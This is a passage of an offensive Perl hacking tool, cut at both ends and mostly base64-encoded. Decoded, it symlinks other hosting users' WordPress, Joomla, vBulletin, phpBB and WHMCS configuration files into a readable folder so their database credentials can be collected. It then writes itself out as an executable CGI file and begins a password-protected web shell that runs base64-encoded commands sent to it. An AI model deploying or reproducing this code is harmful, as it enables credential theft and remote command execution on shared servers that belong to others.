tKMWJHeGxkR2x1TXkxS2IydGxjaTFVU0ZRdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmFHOXRaVFl2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyTmpMMmx1WTJ4MVpHVnpMMk52Ym1acFp5NXdhSEFuTENScmIyeGhMaWQrZm5aQ2RXeHNaWFJwYmpRdFNtOXJaWEl0VkVoVUxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwyaHZiV1UyTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5mbjVRYUhCaVlqRXRTbTlyWlhJdFZFaFVMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MMmh2YldVMkx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzltYjNKMWJTOXBibU5zZFdSbGN5OWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5mbjVRYUhCaVlqSXRTbTlyWlhJdFZFaFVMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MMmh2YldVMkx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzkzY0MxamIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bmZuNVhiM0prY0hKbGMzTXhMVXB2YTJWeUxWUklWQzUwZUhRbktUc05Dbk41Yld4cGJtc29KeTlvYjIxbE5pOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2WW14dlp5OTNjQzFqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuZm41WGIzSmtjSEpsYzNNeUxVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OW9iMjFsTmk4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpZCtma3B2YjIxc1lURXRTbTlyWlhJdFZFaFVMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MMmh2YldVMkx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlpYkc5bkwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bmZuNUtiMjl0YkdFeUxVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OW9iMjFsTmk4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZhbTl2Yld4aEwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bmZuNUtiMjl0YkdFekxVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OW9iMjFsTmk4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZkMmh0TDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuZm41WGFHMHhMVXB2YTJWeUxWUklWQzUwZUhRbktUc05Dbk41Yld4cGJtc29KeTlvYjIxbE5pOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2ZDJodFl5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUozNStWMmh0TWkxS2IydGxjaTFVU0ZRdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmFHOXRaVFl2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzTjFjSEJ2Y25RdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGlkK2ZsZG9iVE10U205clpYSXRWRWhVTG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDJodmJXVTJMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5amJHbGxiblF2WTI5dVptbG5kWEpoZEdsdmJpNXdhSEFuTENScmIyeGhMaWQrZmxkb2JUUXRTbTlyWlhJdFZFaFVMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MMmh2YldVMkx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlpYVd4c2FXNW5jeTlqYjI1bWFXZDFjbUYwYVc5dUxuQm9jQ2NzSkd0dmJHRXVKMzUrVjJodE5TMUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlRZdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMkpwYkd4cGJtY3ZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpZCtmbGRvYlRZdFNtOXJaWEl0VkVoVUxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwyaHZiV1UyTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWpiR2xsYm5SekwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bmZuNVhhRzAzTFVwdmEyVnlMVlJJVkM1MGVIUW5LVHNOQ25ONWJXeHBibXNvSnk5b2IyMWxOaThuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmQyaHRZM012WTI5dVptbG5kWEpoZEdsdmJpNXdhSEFuTENScmIyeGhMaWQrZmxkb2JUZ3RTbTlyWlhJdFZFaFVMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MMmh2YldVMkx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl2Y21SbGNpOWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUozNStWMmh0T1MxS2IydGxjaTFVU0ZRdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmFHOXRaVFl2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyRmtiV2x1TDJOdmJtWXVjR2h3Snl3a2EyOXNZUzRuZm40MUxVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OW9iMjFsTmk4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZV1J0YVc0dlkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUozNStOQzFLYjJ0bGNpMVVTRlF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2YUc5dFpUWXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJOdmJtWmZaMnh2WW1Gc0xuQm9jQ2NzSkd0dmJHRXVKMzUrYVc1MmFYTnBieTFLYjJ0bGNpMVVTRlF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2YUc5dFpUWXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJsdVkyeDFaR1V2WkdJdWNHaHdKeXdrYTI5c1lTNG5mbjQzTFVwdmEyVnlMVlJJVkM1MGVIUW5LVHNOQ25ONWJXeHBibXNvSnk5b2IyMWxOaThuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dlkyOXVibVZqZEM1d2FIQW5MQ1JyYjJ4aExpZCtmamd0U205clpYSXRWRWhVTG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDJodmJXVTJMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5dGExOWpiMjVtTG5Cb2NDY3NKR3R2YkdFdUozNStiV3N0Y0c5eWRHRnNaVEV0U205clpYSXRWRWhVTG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDJodmJXVTJMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5cGJtTnNkV1JsTDJOdmJtWnBaeTV3YUhBbkxDUnJiMnhoTGlkK2ZqRXlMVXB2YTJWeUxWUklWQzUwZUhRbktUc05Dbk41Yld4cGJtc29KeTlvYjIxbE5pOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YzJWMGRHbHVaM011Y0dod0p5d2thMjlzWVM0bmZuNVRiV1l0U205clpYSXRWRWhVTG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDJodmJXVTJMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5cGJtTnNkV1JsY3k5bWRXNWpkR2x2Ym5NdWNHaHdKeXdrYTI5c1lTNG5mbjV3YUhCaVlqTXRTbTlyWlhJdFZFaFVMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MMmh2YldVMkx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlwYm1Oc2RXUmxMMlJpTG5Cb2NDY3NKR3R2YkdFdUozNSthVzVtYVc1cGRIa3RTbTlyWlhJdFZFaFVMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MMmh2YldVM0x5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzkyWWk5cGJtTnNkV1JsY3k5amIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bmZuNTJRblZzYkdWMGFXNHhMVXB2YTJWeUxWUklWQzUwZUhRbktUc05Dbk41Yld4cGJtc29KeTlvYjIxbE55OG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YVc1amJIVmtaWE12WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SjM1K2RrSjFiR3hsZEdsdU1pMUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlRjdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMlp2Y25WdEwybHVZMngxWkdWekwyTnZibVpwWnk1d2FIQW5MQ1JyYjJ4aExpZCtmblpDZFd4c1pYUnBiak10U205clpYSXRWRWhVTG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDJodmJXVTNMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5all5OXBibU5zZFdSbGN5OWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5mbjUyUW5Wc2JHVjBhVzQwTFVwdmEyVnlMVlJJVkM1MGVIUW5LVHNOQ25ONWJXeHBibXNvSnk5b2IyMWxOeThuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dlkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUozNStVR2h3WW1JeExVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OW9iMjFsTnk4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZabTl5ZFcwdmFXNWpiSFZrWlhNdlkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUozNStVR2h3WW1JeUxVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OW9iMjFsTnk4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZkM0F0WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SjM1K1YyOXlaSEJ5WlhOek1TMUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlRjdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMkpzYjJjdmQzQXRZMjl1Wm1sbkxuQm9jQ2NzSkd0dmJHRXVKMzUrVjI5eVpIQnlaWE56TWkxS2IydGxjaTFVU0ZRdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmFHOXRaVGN2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bmZuNUtiMjl0YkdFeExVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OW9iMjFsTnk4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZbXh2Wnk5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SjM1K1NtOXZiV3hoTWkxS2IydGxjaTFVU0ZRdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmFHOXRaVGN2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wycHZiMjFzWVM5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SjM1K1NtOXZiV3hoTXkxS2IydGxjaTFVU0ZRdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmFHOXRaVGN2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzZG9iUzlqYjI1bWFXZDFjbUYwYVc5dUxuQm9jQ2NzSkd0dmJHRXVKMzUrVjJodE1TMUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlRjdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM2RvYldNdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGlkK2ZsZG9iVEl0U205clpYSXRWRWhVTG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDJodmJXVTNMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5emRYQndiM0owTDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuZm41WGFHMHpMVXB2YTJWeUxWUklWQzUwZUhRbktUc05Dbk41Yld4cGJtc29KeTlvYjIxbE55OG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2WTJ4cFpXNTBMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5mbjVYYUcwMExVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OW9iMjFsTnk4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZbWxzYkdsdVozTXZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpZCtmbGRvYlRVdFNtOXJaWEl0VkVoVUxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwyaHZiV1UzTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWlhV3hzYVc1bkwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bmZuNVhhRzAyTFVwdmEyVnlMVlJJVkM1MGVIUW5LVHNOQ25ONWJXeHBibXNvSnk5b2IyMWxOeThuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dlkyeHBaVzUwY3k5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SjM1K1YyaHROeTFLYjJ0bGNpMVVTRlF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2YUc5dFpUY3ZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDNkb2JXTnpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5mbjVYYUcwNExVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OW9iMjFsTnk4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZiM0prWlhJdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGlkK2ZsZG9iVGt0U205clpYSXRWRWhVTG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDJodmJXVTNMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5aFpHMXBiaTlqYjI1bUxuQm9jQ2NzSkd0dmJHRXVKMzUrTlMxS2IydGxjaTFVU0ZRdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmFHOXRaVGN2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyRmtiV2x1TDJOdmJtWnBaeTV3YUhBbkxDUnJiMnhoTGlkK2ZqUXRTbTlyWlhJdFZFaFVMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MMmh2YldVM0x5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlqYjI1bVgyZHNiMkpoYkM1d2FIQW5MQ1JyYjJ4aExpZCtmbWx1ZG1semFXOHRTbTlyWlhJdFZFaFVMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MMmh2YldVM0x5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlwYm1Oc2RXUmxMMlJpTG5Cb2NDY3NKR3R2YkdFdUozNStOeTFLYjJ0bGNpMVVTRlF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2YUc5dFpUY3ZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJOdmJtNWxZM1F1Y0dod0p5d2thMjlzWVM0bmZuNDRMVXB2YTJWeUxWUklWQzUwZUhRbktUc05Dbk41Yld4cGJtc29KeTlvYjIxbE55OG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2Yld0ZlkyOXVaaTV3YUhBbkxDUnJiMnhoTGlkK2ZtMXJMWEJ2Y25SaGJHVXhMVXB2YTJWeUxWUklWQzUwZUhRbktUc05Dbk41Yld4cGJtc29KeTlvYjIxbE55OG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YVc1amJIVmtaUzlqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuZm40eE1pMUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlRjdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM05sZEhScGJtZHpMbkJvY0Njc0pHdHZiR0V1SjM1K1UyMW1MVXB2YTJWeUxWUklWQzUwZUhRbktUc05Dbk41Yld4cGJtc29KeTlvYjIxbE55OG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YVc1amJIVmtaWE12Wm5WdVkzUnBiMjV6TG5Cb2NDY3NKR3R2YkdFdUozNStjR2h3WW1JekxVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OW9iMjFsTnk4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZhVzVqYkhWa1pTOWtZaTV3YUhBbkxDUnJiMnhoTGlkK2ZtbHVabWx1YVhSNUxVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuME5DbWxtSUNna1JVNVdleWRTUlZGVlJWTlVYMDFGVkVoUFJDZDlJR1Z4SUNkUVQxTlVKeWtnZXcwS0lDQnlaV0ZrS0ZOVVJFbE9MQ0FrWW5WbVptVnlMQ0FrUlU1V2V5ZERUMDVVUlU1VVgweEZUa2RVU0NkOUtUc05DbjBnWld4elpTQjdEUW9nSUNSaWRXWm1aWElnUFNBa1JVNVdleWRSVlVWU1dWOVRWRkpKVGtjbmZUc05DbjBOQ2tCd1lXbHljeUE5SUhOd2JHbDBLQzhtTHl3Z0pHSjFabVpsY2lrN0RRcG1iM0psWVdOb0lDUndZV2x5SUNoQWNHRnBjbk1wSUhzTkNpQWdLQ1J1WVcxbExDQWtkbUZzZFdVcElEMGdjM0JzYVhRb0x6MHZMQ0FrY0dGcGNpazdEUW9nSUNSdVlXMWxJRDErSUhSeUx5c3ZJQzg3RFFvZ0lDUnVZVzFsSUQxK0lITXZKU2hiWVMxbVFTMUdNQzA1WFZ0aExXWkJMVVl3TFRsZEtTOXdZV05yS0NKRElpd2dhR1Y0S0NReEtTa3ZaV2M3RFFvZ0lDUjJZV3gxWlNBOWZpQjBjaThyTHlBdk93MEtJQ0FrZG1Gc2RXVWdQWDRnY3k4bEtGdGhMV1pCTFVZd0xUbGRXMkV0WmtFdFJqQXRPVjBwTDNCaFkyc29Ja01pTENCb1pYZ29KREVwS1M5bFp6c05DaUFnSkVaUFVrMTdKRzVoYldWOUlEMGdKSFpoYkhWbE93MEtmUTBLYVdZZ0tDUkdUMUpOZTNCaGMzTjlJR1Z4SUNJaUtYc05DbkJ5YVc1MElDY05DanhpYjJSNUlHTnNZWE56UFNKdVpYZFRkSGxzWlRFaUlHSm5ZMjlzYjNJOUlpTXdNREF3TURBaVBnMEtQSEErVUdGcGJpQlRZM0pwY0hRZ1ZHOGdVM2x0YkdsdWF5QkRiMjVtYVdkelBDOXdQZzBLUEhBK1BHWnZiblFnWTI5c2IzSTlJaU5ETUVNd1F6QWlQbHM4TDJadmJuUStJRU52Ym1acFp5NUtiMnRsY2kxVVNGUWdQR1p2Ym5RZ1kyOXNiM0k5SWlORE1FTXdRekFpUG53OEwyWnZiblErSUEwS1BITndZVzRnYVdROUluSmxjM1ZzZEY5aWIzZ2lJR05zWVhOelBTSnphRzl5ZEY5MFpYaDBJaUJzWVc1blBTSmxiaUkrUEhOd1lXNGdjM1I1YkdVZ2RHbDBiR1UrRFFvOFptOXVkQ0JqYjJ4dmNqMGlJME13UXpCRE1DSStmRHd2Wm05dWRENDhMM053WVc0K1BDOXpjR0Z1UGlBTkNqeG1iMjUwSUdOdmJHOXlQU0lqUXpCRE1FTXdJajVkUEM5bWIyNTBQand2Y0Q0TkNqeG1iM0p0SUcxbGRHaHZaRDBpY0c5emRDSStEUW84ZEdWNGRHRnlaV0VnYm1GdFpUMGljR0Z6Y3lJZ2MzUjViR1U5SW1KdmNtUmxjam94Y0hnZ1pHOTBkR1ZrSUNNd01FWkdSa1k3SUhkcFpIUm9PaUExTkROd2VEc2dhR1ZwWjJoME9pQTBNakJ3ZURzZ1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvak1FTXdRekJET3lCbWIyNTBMV1poYldsc2VUcFVZV2h2YldFN0lHWnZiblF0YzJsNlpUbzRjSFE3SUdOdmJHOXlPaU13TUVaR1JrWWlJQ0ErUEM5MFpYaDBZWEpsWVQ0OFluSWdMejROQ2ladVluTndPenh3UGcwS1BHbHVjSFYwSUc1aGJXVTlJblJoY2lJZ2RtRnNkV1U5SWtGTVRFTnZibVpwWnkxS2IydGxjaTFVU0ZRdWRIaDBJaUIwZVhCbFBTSjBaWGgwSWlCemRIbHNaVDBpWW05eVpHVnlPakZ3ZUNCa2IzUjBaV1FnSXpBd1JrWkdSanNnZDJsa2RHZzZJREl4TW5CNE95QmlZV05yWjNKdmRXNWtMV052Ykc5eU9pTXdRekJETUVNN0lHWnZiblF0Wm1GdGFXeDVPbFJoYUc5dFlUc2dabTl1ZEMxemFYcGxPamh3ZERzZ1kyOXNiM0k2SXpBd1JrWkdSanNnSWlBZ0x6NDhZbklnTHo0TkNpWnVZbk53T3p3dmNENE5Danh3UGcwS1BHbHVjSFYwSUc1aGJXVTlJbE4xWW0xcGRERWlJSFI1Y0dVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWtkbGRDQkRiMjVtYVdjaUlITjBlV3hsUFNKaWIzSmtaWEk2TVhCNElHUnZkSFJsWkNBak1EQkdSa1pHT3lCM2FXUjBhRG9nT1RrN0lHWnZiblF0Wm1GdGFXeDVPbFJoYUc5dFlUc2dabTl1ZEMxemFYcGxPakV3Y0hRN0lHTnZiRzl5T2lNd01FWkdSa1k3SUhSbGVIUXRkSEpoYm5ObWIzSnRPblZ3Y0dWeVkyRnpaVHNnYUdWcFoyaDBPakl6T3lCaVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lNd1F6QkRNRU1pSUM4K1BDOXdQZzBLUEM5bWIzSnRQaWM3RFFwOVpXeHpaWHNOQ20xclpHbHlLQ2REUjBrdFEyOXVabWxuTGtwdmEyVnlMVlJJVkNjc01EYzFOU2s3RFFwamFHUnBjaWduUTBkSkxVTnZibVpwWnk1S2IydGxjaTFVU0ZRbktUc05Da0JzYVc1bGN5QTlQQ1JHVDFKTmUzQmhjM045UGpzTkNpUjVJRDBnUUd4cGJtVnpPdzBLYjNCbGJpQW9UVmxHU1V4RkxDQWlQa3B2YTJWeUxWUklWQzUwYlhBaUtUc05DbkJ5YVc1MElFMVpSa2xNUlNBaWRHRnlJQzFqZW1ZZ0lpNGtSazlTVFh0MFlYSjlMaUl1ZEdGeUlDSTdEUXBtYjNJZ0tDUnJZVDB3T3lScllUd2tlVHNrYTJFckt5bDdEUXAzYUdsc1pTaEFiR2x1WlhOYkpHdGhYU0FnUFg0Z2JTOG9MaW8vS1RwNE9pOW5LWHNOQ2lac2FXd29KREVwT3cwS2NISnBiblFnVFZsR1NVeEZJQ1F4TGlJdFNtOXJaWEl0VkVoVUxuUjRkQ0k3RFFwbWIzSW9KR3RrUFRFN0pHdGtQREU0T3lSclpDc3JLWHNOQ25CeWFXNTBJRTFaUmtsTVJTQWtNUzRrYTJRdUlpMUtiMnRsY2kxVVNGUXVkSGgwSWpzTkNuME5DbjBOQ24wTkNuQnlhVzUwSnp4aWIyUjVJR05zWVhOelBTSnVaWGRUZEhsc1pURWlJR0puWTI5c2IzSTlJaU13TURBd01EQWlQanh3UGtkbGRDQkJiR3dnUTI5dVptbG5JRlJvSmlNeU1qUTdibWdnUXlZak1qUTBPMjVuUEM5d1BnMEtQR2d4UGp4aElITjBlV3hsUFNKamIyeHZjam9qUmtaR05UQXdPeUlnYUhKbFpqMGlRMGRKTFVOdmJtWnBaeTVLYjJ0bGNpMVVTRlF2SWlCMFlYSm5aWEk5SWw5aVlXNXJJajRtSXpJM01qc21JemM0TnpFN2JpQkdiMnhrWlhJZ1FXeHNJRU52Ym1acFp5NUtiMnRsY2kxVVNGUThMMkUrUEM5b01UNG5PdzBLYVdZb0pFWlBVazE3ZEdGeWZTQnVaU0FpSWlsN0RRcHZjR1Z1S0VsT1JrOHNJQ0pLYjJ0bGNpMVVTRlF1ZEcxd0lpazdEUXBBYkdsdVpYTWdQVHhKVGtaUFBpQTdEUXBqYkc5elpTaEpUa1pQS1RzTkNuTjVjM1JsYlNoQWJHbHVaWE1wT3cwS2NISnBiblFuUEhBK1BHRWdhSEpsWmowaVEwZEpMVU52Ym1acFp5NUtiMnRsY2kxVVNGUXZKeTRrUms5U1RYdDBZWEo5TGljdWRHRnlJajQ4Wm05dWRDQmpiMnh2Y2owaUl6QXdSa1l3TUNJK0RRbzhjM0JoYmlCemRIbHNaVDBpZEdWNGRDMWtaV052Y21GMGFXOXVPaUJ1YjI1bElqNDhhREUrUTJ4cFkyc2dTR1Z5WlNCVWJ5QkViM2R1Ykc5aFpDQkJiR3dnUTI5dVptbG5Ma3B2YTJWeUxWUklWQ0JVWVhJZ1JtbHNaVHd2YURFK1BDOXpjR0Z1UGp3dlptOXVkRDQ4TDJFK1BDOXdQZzBLUEdKeUx6NDhhREUrUEdFZ2MzUjViR1U5SW1OdmJHOXlPaU5HUmtZMU1EQTdJaUJvY21WbVBTSkRSMGt0UTI5dVptbG5Ma3B2YTJWeUxWUklWQzhpSUhSaGNtZGxjajBpWDJKaGJtc2lQaVlqTWpjeU95WWpOemczTVR0dUlFWnZiR1JsY2lCQmJHd2dRMjl1Wm1sbkxrcHZhMlZ5TFZSSVZEd3ZZVDQ4TDJneFBpYzdEUXA5RFFwOURRb2djSEpwYm5RaVBDOWliMlI1UGp3dmFIUnRiRDRpT3c9PSI7CiRkZWNvZGVjb25maWdtYXJpb249ZGVjb2RlX2Jhc2U2NCgkY29uZmlnbWFyaW9uKTsKcHJpbnQgQ3JlYXRlTmV3ICRkZWNvZGVjb25maWdtYXJpb24gb3IgZGllICJLaCYjMjQ0O25nIFRoJiM3ODc1OyBHaGkgTiYjNzg5NztpIER1bmcgViYjMjI0O28gRmlsZSBDb25maWcuSm9rZXItVEhUIjsgY2xvc2UgQ3JlYXRlTmV3OwpjaG1vZCgwNzU1LCdDb25maWcuSm9rZXItVEhUJyk7CnByaW50ICc8YnIvPjxjZW50ZXI+PGgxPlQmIzc4NDE7byBGaWxlIENvbmZpZy5Kb2tlci1USFQgVGgmIzIyNDtuaCBDJiMyNDQ7bmc8YnIvPjxici8+PGEgc3R5bGU9ImNvbG9yOiNGRkY1MDA7IiBocmVmPSJDb25maWcuSm9rZXItVEhUIiB0YXJnZXQ9Il9iYW5rIj5WJiMyMjQ7byBDR0kgU2hlbGw6IENvbmZpZy5Kb2tlci1USFQ8L2E+PC9oMT48L2NlbnRlcj4nOwpwcmludCAiXG4iOyAKfQomUmVhZFBhcnNlOwomR2V0Q29va2llczsKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9IGRlY29kZV9iYXNlNjQoJGlueydjJ30pOwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsKJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoZGVjb2RlX2Jhc2U2NCh0cmltKCRpbnsnZCd9KSkpOwokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9tcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQp7CgkmUHJpbnRQYWdlSGVhZGVyKCJkIi